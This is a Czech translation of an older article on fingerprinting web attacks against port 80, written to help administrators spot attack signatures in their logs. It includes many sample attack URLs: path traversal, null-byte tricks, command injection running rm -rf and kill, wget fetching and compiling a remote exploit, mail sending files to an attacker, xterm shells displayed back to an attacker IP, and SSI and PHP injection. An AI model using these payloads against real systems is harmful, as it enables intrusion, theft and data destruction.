Útok na port 80

Vložil/a Los_Pavlos [1], 2 Říjen, 2004 - 07:34

- Exploit [2]
- Hacking [3]
- Security [4]

Pár zajímavých příkladů využití Fingerprinting a slabých míst v webových aplikací.

Útok na port 80: Dívání se do web serverů a web aplikací útok signatury

I: úvod
II: Běžné identifikace
III: Pokročilé identifikace
IV: Přetečení
V: Hex kódování
VI: Závěr

I: Úvod

Port 80 je standardní port pro webové stránky a může mít hodně různých bezpečnostních problémů. Tyto díry můžou dovolit útočníkovi získat buď administrátorský přístup k web stránce, nebo dokonce k samu webovému serveru. Tento dokument se dívá na některé z signatur, které jsou používány v těchto útocích a co hledat ve vašich log.

II: Běžná identifikace

Tato část ukazuje příklady z běžných fingerprints používaných k zneužití ve web. aplikacích a web. serverech.
V této části vám neukážu všechny možné fingerprint, ale raději vám ukážu většinu toho, jak exploit a útoky vypadají. Tato signatura by měla sebrat většinu známých i neznámých děr, které může útočník užit proti vám. Tato část také popisuje jak každá signatura je používaná, nebo jak může být použita k útoku.

"." ".." a "..." požadavky

Toto jsou nejběžnější útočné signatury zneužití web aplikací a web serverů. Používá se proto, že může útočníkovi nebo červu dovolit měnit adresáře uvnitř vašeho web serveru pro získání přístupu k sekcím, které nemusí být veřejnosti přístupné. nejvíce CGI děr budou obsahovat nějaké ".." požadavky.

Dale je příklad:

http://host/cgi-bin/lame.cgi?file=../../../../etc/motd

Toto ukáže útočníkovi požadovaní vašich web serverů "Message Of The Day" soubor. Pokud má útočník schopnost prohlížet si vnitřek root vašich web serverů. Pak

může mít možnost shromáždit dostatečné množství informací k získání dalších výhod.

"%20" požadavky

Toto je hex hodnota prázdného místa. Některé web aplikace můžou užívat tyto znaky v platných požadavcích. Zato, tato žádost je občas používaná jako pomoc pro vykonání příkazu.

Další příklad:

http://host/cgi-bin/lame.cgi?page=ls%20-al| (ls -al příkaz známý na Unix systému)

Jednoduše argument ukáže útočníkovy odkrytý seznam požadovaného plného výpisu adresárů. To může útočníkovy dovolit přístup k důležitým souborům na vašem systému a může pomoci dát útočníkovy představu, jak získat další výhody.

"%00" žádost

Toto je hex hodnota neplatného nebo nulového bytu. Může to být použito k fool (pohrávání si s) web aplikací do myšleného různého typu souboru, které byli požadovány.

* http://host/cgi-bin/lame.cgi?page=index.html [5]
ukázaný příklad může být platný požadavek na tomto počítači. jestli útočník vidí takovou reakci, bude si jistý a bude sondovat tuto aplikaci pro to aby našel v tom díru.

* http://host/cgi-bin/lame.cgi?page=../../../../etc/motd [6]
Web. aplikace může zamítnout tuto žádost, protože kontroluje jména výstupu v .htm, .html, .shtml nebo jiný typ souborů. Hodně krát vám řekne, že to není platný typ souboru pro tuto aplikaci. Často to řekne útočníkovi, že soubor musí skončit určitou příponou. Odtud může útočník shromáždit serverové cesty, názvy souborů a potom shromáždit více informací o vašem systému.

* http://host/cgi-bin/lame.cgi?page=../../../../etc/motd%00html [7]
Tento požadovaný trik aplikaci do myšlení jména souboru skončí v jednom z jeho předdeklarovaných přijatelných typech souborů.
Někdy mají web aplikace slabé kontrolování platné souborové žádosti a toto je běžná metoda používaná útočníky.

"|" požadavek

Toto je spojovací znak, který je často používán v Unixu na spuštění vícenásobného příkazu najednou v jedné žádosti.

Příklad: #cat access_log| grep -F "/../"

(toto ukáže kontrolování v log z .... žádostí které jsou často používané útočníky a červy) Často platné webové aplikace využívají tento znak a to může způsobit plané poplachy ve vašich IDS log.

Dole je zase pár příkladů:

* http://host/cgi-bin/lame.cgi?page=../../../../bin/ls|
Tento příkaz požaduje vykonání příkazu ls. Dole je další varianta tohoto typu.

* http://host/cgi-bin/lame.cgi?page=../../../../bin/ls%20-al%20/etc|
Tento příkaz požaduje plné vypsání adresáře "etc" na unix systému.

* http://host/cgi-bin/lame.cgi?page=cat%20access_log|grep%20-i%20"lame"
Tato žádost požaduje vykonání příkazu "cat" a potom příkazu "grep" s argumentem -i

";" požadavek

Tento znak dovolí vícenasobným příkazům být vykonané v řadě na Unixu. Příklad: #id;uname -a (toto je provedení "id" příkazu následovaného "uname" příkazem) Často web aplikace užívají tento znak a to může způsobit plané poplachy ve vašem IDS log.

"<" a ">" požadavky

Tyto znaky mají být kontrolovány v logs pro četné důvody, zaprvé tyto znaky jsou používány pro přidání dat do souborům.

Příklad 1: "#echo "your hax0red h0 h0" >> /etc/motd"
Toto ukáže žádost pro zapsání informací do tohoto souboru.) Útočník může jednoduše užit žádost jako je tato pro znetvoření vašeho webu. Slavný RDS exploit s rain, forest, puppy byl často používán útočníky do echo informací do web hlavní stránku.

Příklad 2: "http://host/something.php=**Hi%20mom%20I'm%20Bold!**"
Tato žádost přejde k cross site scripting příklad: Všimnete si používaného html tagu < a > znaky. Zatímco tento typ útoku nedá útočníkovi systémový přístup, může to být použito k ošizení lidí k myšlení že jistá informace o web stránkách platí. (samozřejmě, že oni by potřebovali navštívit link, který útočník chce. Žádost může být maskována zakódováním znaků do hex kódu aby nebyli tak zřejmé.

"!" požadavek

Tento znak je často používaný v SSI (Server Side Include) útoku. Tyto útoky mohou dovolit útočníkovi mít podobné výsledky jako cross site scripting zneužití jestli ošiděný user klikne na link.

Dole zase pár příkazů.

"http://host1/something.php=<!%20--#include%20virtual="http://host2/fake-article.html"-->"
Toto je příklad co útočník může dělat. Toto je v podstatě včetně souboru z serveru 2 (host2) a dělá to že, hlášení budou přicházet do host1. (Samozřejmě potřebujete aby oni navštívili link který útočník chce. Samozřejmě to můžete také zakódovat do hex kódu.

To také může dovolit útočníkovi spustit příkazy na vašem systému s pravomocemi z uživatele web. serveru (třeba i root)

"http://host/something.php=<!%20#<!--#exec%20cmd="id"-->"
Toto je provedení příkazu "id" na vzdáleném systému. Toto vám ukáže uživatelský id web serveru kterého je obvykle uživatel "nobody" nebo "www".

To může také dovolit zahrnutí skrytých souborů.

"http://host/something.php=<!%20--#include%20virtual=".htpasswd"-->"
toto je včetně htpasswd souboru.Tento soubor není normálně viditelný apache dokonce má vestavěné pravidlo popírat žádosti pro .ht. SSi tag obejde toto a

může způsobit bezpečnostní problémy.

"<?" požadavek

Toto je často užíváno při pokusu vložit php do vzdálené web aplikace.Toto může být možnost spustit příkazy závisející na serverovém nastavení a na dalších faktorech.

Další příklad

"http://host/something.php=<? passthru("id");?>"
Na špatně psané php aplikaci můžete lokálně spustit tento příkaz na vzdáleném hostiteli pod výhodným web serverovým uživatelem.

Dodatek k této kapitole, je že útočník může zakódovat požadavky do hex. Kontrolujte všechno podezdřelé a neobyčejné.

"`" požadavek

Tento znak je často používán v perl k spuštění příkazu. Tento znak není normálně použitý v jakékoliv platné web aplikaci. tak jestli vidíte to ve vašich log vezmete to velmi vážně.

Zase nějaký ten příklad:

http://host/something.cgi=`id`
Na špatně psané web aplikaci v jazyce perl toto může spustit id příkaz.

III. Pokročilé identifikace

Tato část přibližuje více na příkazy, které útočník spouští spolu se soubory které můžou být žádané a jak zjistit jesli vaše zranitelnost remote command je proveditelné. Toto není kompletní seznam příkazů nebo souborů, může vám to ale dát dobrou představu co se děje, nebo o nepodařených pokusech proti vašemu systému.

Časté příkazy útočníků a červů můžou spustit

"/bin/ls"
Toto je binární z ls příkazu. To je často požadované v plné cestě pro hodně častých děr web. aplikacích.
Příklad: http://host/cgi-bin/bad.cgi?doh=../../../../bin/ls%20-al|
Příklad: http://host/cgi-bin/bad.cgi?doh=ls%20-al: [8]

"cmd.exe"
Toto je okno shellu. Jestli má útočník přístup k spuštění tohoto scriptu bude schopen udělat cokoliv na windows stroji, závisející na serverovém povolení. Nejvíce internetových červů zahrnujících port 80 užívá cmd.exe pro pomoc šíření infekce na další vzdálené stanice.

http://host/scripts/something.asp=../../WINNT/system32/cmd.exe?dir+e: [9]

"/bin/id"
Toto je binární z id příkazu, To je často požadované v plné cestě pro hodně častých děr web. aplikacích.
Příklad: http://host/cgi-bin/bad.cgi?doh=../../../../bin/id|

Příklad: http://host/cgi-bin/bad.cgi?doh=id; [10]

"/bin/rm"
Toto je binární z rm příkazu. To je často požadované v plné cestě pro hodně častých děr web. aplikacích. Tento příkaz, na druhé stráně dovolí vymazání souborů a je velmi nebezpečný jestli ji buď užíváte nesprávně, nebo ji užívá útočník.
Příklad: http://host/cgi-bin/bad.cgi?doh=../../../../bin/rm%20-rf%20*|
Příklad: http://host/cgi-bin/bad.cgi?doh=rm%20-rf%20*; [11]

"wget a tftp" příkaz
Tyto příkazy jsou často užívané útočníkama a červama pro stáhnutí dalších souborů, které můžou být použity k získání dalších systémových výhodách. wget je Unix příkaz, který může být použit k stahování a zadním vrátkům. tftp je Unix a NT příkaz který je užíván pro stahování souborů s. Někteří IIS červy využívají tento tftp příkaz pro stahování kopií sama sebe k infikování hostitele pro pokračování v rotšiřování se.
Příklad: http://host/cgi-bin/bad.cgi?doh=../../../../path/to-wget/wget%20http://host2/Phantasmp.c|
Příklad: http://host/cgi-bin/bad.cgi?doh=wget%20http://www.hwa-security.net/Phant... [12]

"cat" command
Tento příkaz je často používán pro zobrazení obsahu ze souborů. Toto může být používáno pro čtení důležitých informací jako konfigurační soubory, soubory s hesly, úvěrové karty souborya další věci co vás mohou napadnout.
Příklad: http://host/cgi-bin/bad.cgi?doh=../../../../bin/cat%20/etc/motd|
Příklad: http://host/cgi-bin/bad.cgi?doh=cat%20/etc/motd; [13]

"echo" command
Tento příkaz je často používán pro přidání dat k souborům jako je třeba index.html.
Příklad: http://host/cgi-bin/bad.cgi?doh=../../../../bin/echo%20"fc-#kiwis%20was%20here"%20>>%200day.txt|
Příklad: http://host/cgi-bin/bad.cgi?doh=echo%20"fc-#kiwis%20was%20here"%20>>%200day.txt;

"ps" command
Tento příkaz ukáže seznam běžících procesů. To může říct útočníkovi jestli na vzdáleném hostitel serveru běží nějaké bezpečnostní software a také jim to pomůže zjistit bezpečnostní díry.
Příklad: http://host/cgi-bin/bad.cgi?doh=../../../../bin/ps%20-aux|
Příklad: http://host/cgi-bin/bad.cgi?doh=ps%20-aux; [14]

"kill and killall" commands
Tyto příkazy jsou používány k ukončení procesů na Unix systému. Útočník může toto užít na zastavení systémové služby nebo program. Útočník může také užívat tento příkaz pro pomoc pokrytí exploit cesty.
Příklad: http://host/cgi-bin/bad.cgi?doh=../bin/kill%20-9%200|
Příklad: http://host/cgi-bin/bad.cgi?doh=kill%20-9%200; [15]

"uname" command
Tento příkaz užívá útočník k prozrazení hostitelského jména vzdálené stanice. Často web. stránky je hostitel n aISP a tento příkaz může dostat představu které ISP možná přístup.
Příklad: http://host/cgi-bin/bad.cgi?doh=../../../../bin/uname%20-a|
Příklad: http://host/cgi-bin/bad.cgi?doh=uname%20-a; [16]

"cc, gcc, perl, python, etc..." Kompilátory/převaděče příkazů
cc a gcc příkazy dovolí zkompilování programů. Útočník může užít wget, nebo tftp pro stáhnutí souborů a potom užít tyto kompilátory pro zkompilování exploit.
Příklad: http://host/cgi-bin/bad.cgi?doh=../../../../bin/cc%20Phantasmp.c|
Příklad: http://host/cgi-bin/bad.cgi?doh=gcc%20Phantasmp.c;./a.out%20-p%2031337; [17]

Jestliže vidíte požadavek "perl" nebo "python" může to být možný útočník stáhnutý vzdálený perl nebo python script a zkouší místní exploit na váš systém.

"mail" command
Tento příkaz může být používaný útočníkem k email souborům k emailové adrese útočníka.Také to může být použito na spam a spamování. takto nemusíte velmi snadno zjistit.P?íklad: `http://host/cgi-bin/bad.cgi?doh=../../../../bin/mail%20attacker@hostname%20<<%20/etc/motd|`
`P?íklad: http://host/cgi-bin/bad.cgi?doh=mail%20steele@jersey.whitehouse.gov%20<</tmp/wu-2.6.1.c;`

"xterm/Other X application" commands
Xterm je často užívaný pro pomoc k vzdálenému získání shell přístupu. Tento fingerprint je často užívaný pro pomoc k spuštění xterm nebo x aplikací.
`P?íklad: http://host/cgi-bin/bad.cgi?doh=../../../../usr/X11R6/bin/xterm%20-display%20192.168.22.1|`
`P?íklad: http://host/cgi-bin/bad.cgi?doh=Xeyes%20-display%20192.168.22.1;`

"chown, chmod, chgrp, chsh, etc..." commands
Tyto příkazi vám dovolí změnu povolení na Unix systému. Podívejte se dolu na seznam co každá dělá.

chown = dovolí nastavování uživatelského vlastnictví souboru
chmod = dovolí souborovým povolením být nastavené
chgrp = dovolí změnu skupinového vlastnictví
chsh = dovolí uživateli změnu shell kterou používá
`P?íklad: http://host/cgi-bin/bad.cgi?doh=../../../../bin/chmod%20777%20index.html|`
`P?íklad: http://host/cgi-bin/bad.cgi?doh=chmod%20777%20index.html;`
`P?íklad: http://host/cgi-bin/bad.cgi?doh=../../../../bin/chown%20zeno%20/etc/master.passwd|`
`P?íklad: http://host/cgi-bin/bad.cgi?doh=chsh%20/bin/sh;`
`P?íklad: http://host/cgi-bin/bad.cgi?doh=../../../../bin/chgrp%20nobody%20/etc/shadow|`

Časté soubory o které se útočník zajímá

"/etc/passwd" File
Soubor s systémovými hesly. Toto je obvykle zastíněné a neposkytuje zašifrovaná hesla k útočnikovi. Jestli je soubor zastíněný, útočník se často podívá do /etc/shadow

"/etc/master.passwd"
BSD systém heslového souboru, který obsahuje zašifrovaná hesla. Tento soubor je čitelný jenom root účtem, ale nezkušený útočník může skontrolovat v naději že to bude schopný číst. Jestli ale web server běží jako uživatel "root" pak může útočník být schopný číst tento soubor a správci systému budou mít hodně problémů.

"/etc/shadow"
Systémový heslový soubor, který obsahuje zašifrovaná hesla. Tento soubor může být čitelný pouze "root" účtem.

"/etc/motd"
System "zprávy dne" soubor obsahuje první zprávy a uživatelé ho mohou vidět, když se přihlašují do systému. Může to poskytnout důležité informace systému,

administrátor chce vidět uživatele spolu s verzí operačního systému. Útočník často kontroluje tento soubor. Odtud budou zkoumat OS a shromažďovat exploity které by mohli využít.

"/etc/hosts"
Tento soubor vám poskytne informace o ip adresách a síťové informace.

"/usr/local/apache/conf/httpd.conf"
Cesta k tomuto souboru je různá, ale tato cesta standartní. Toto je konfigurační soubor k Apache web serveru. Dá to útočníkkovi představu které web stránky jsou hostitelem spolu s nějakými zvláštními informacemi jako zda CGI nebo SSI přístup je povolený.

"/etc/inetd.conf"
Toto je konfigurační soubor inetd služby. Tento soubor obsahuje systémové deamons kteří používají vzdálený systém. Může to také ukázat útočníkovi jestli vzdálená stanice používá "obal" pro každého deamona.

".htpasswd, .htaccess, a .htgroup"
Tyto soubory jsou používané pro heslovou autorizaci na web stránkách. Útočník se zkusí podívat do obsahu těchto souborů pro shromáždění uživatelských jmen a hesel. Hesla jsou umístěna v htpasswd souboru a jsou zašifrována. Jednoduchý password cracker a trocha času udělí útočníkovy přístup k určitým heslem chráněným sekcím vašich web. stránek a možná dalších účtů.

"access_log a error_log"
Toto jsou log soubory z apache web serveru. Útočník bude často kontrolovat logy aby viděl co bylo zalogováno (jeho vlastní žádosti ...) Často útočník bude editovat logs a nějaké odkazy na jeho hostitelské jméno. občas je obtížné zjistit jestli útočník porušil váš systém přes port 80, jestli tyto soubory nejsou zálohované nebo dvojitě zaznamenávány.

```
"[písmeno jednotky]:winnt
epairsam._ nebo [písmeno
jednotky]:winnt
epairsam"
```

Toto je jméno Win NT souboru s hesly. Pokud by k tomu měl přístup mohl by spustit
program jako l0pht crack k zjištění hesla ne vzdálených Windows.

IV: Přetečtení:

Nebudu vám příliš vysvětlovat přetečení bufferu v tomto návodu. Přetečení bufferu může často popléct kódování a další triky.

```
http://host/cgi-bin/helloworld?type=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAA
```

Toto pošle vaší aplikaci hodně jedniček. Přetečtení bufferu může dát útočníkovy vzdálené příkazy provedení. Jestli aplikace je suid (jestli nevíte co to je tak

se podívejte do odpovídajícího návodu na mích stránkách) a vlastněná rootem mohl by dovolit plný systémový přístup. jestliže to není suid tak příkaz bude možná proveden jako uživatel.

V: hex kódování

Hodněkrát útočník zakóduje žádost do hex, takže IDS systém přehlédne žádost. CGI skenr známý jako Whisker je ohromným příkladem. Jestli nemáte 404 stránky, pak hex bude přeloženo a vy budete schopni vidět přesně jakou žádost je spolu s jeho výstupem.

VI. Závěr:

Tento dokument nepokryje všechny věci, ale pokrývá nejběžnější typy z útoků. Bylo to napsáno aby to pomáhalo web správcům dostat představu po čem se dívat. (docela bych doporučil tento dokument i začínajícím hackerům /*poznámka překladatele*/) Doufám také, že tento dokument pomůže web vývojářům psát lepší web aplikace. Psal jsem tento dokument asi hodinu v neděli, tak jestli máte nějaké komentáře nebo návrhy emailujte mě na admin@cgisecurity.com [18].

Přeložil: Los Pavlos -
www.sweb.cz/los.pavlos [19]

Autor anglické verze: Zenomorph
Název anglické verze: "Fingerprinting Port 80 Attacks:
A look into web server, and web application attack signatures."

URL článku: https://security-portal.cz/clanky/%C3%BAtok-na-port-80

Odkazy:
[1] https://security-portal.cz/users/lospavlos
[2] https://security-portal.cz/category/tagy/exploit
[3] https://security-portal.cz/category/tagy/hacking
[4] https://security-portal.cz/category/tagy/security
[5] http://host/cgi-bin/lame.cgi?page=index.html
[6] http://host/cgi-bin/lame.cgi?page=../../../../etc/motd
[7] http://host/cgi-bin/lame.cgi?page=../../../../etc/motd%00html
[8] http://host/cgi-bin/bad.cgi?doh=ls%20-al;
[9] http://host/scripts/something.asp=../../WINNT/system32/cmd.exe?dir+e:
[10] http://host/cgi-bin/bad.cgi?doh=id;
[11] http://host/cgi-bin/bad.cgi?doh=rm%20-rf%20*;
[12] http://host/cgi-bin/bad.cgi?doh=wget%20http://www.hwa-security.net/Phantasmp.c;
[13] http://host/cgi-bin/bad.cgi?doh=cat%20/etc/motd;
[14] http://host/cgi-bin/bad.cgi?doh=ps%20-aux;
[15] http://host/cgi-bin/bad.cgi?doh=kill%20-9%200;
[16] http://host/cgi-bin/bad.cgi?doh=uname%20-a;
[17] http://host/cgi-bin/bad.cgi?doh=gcc%20Phantasmp.c;./a.out%20-p%2031337;
[18] mailto:admin@cgisecurity.com
[19] http://www.sweb.cz/los.pavlos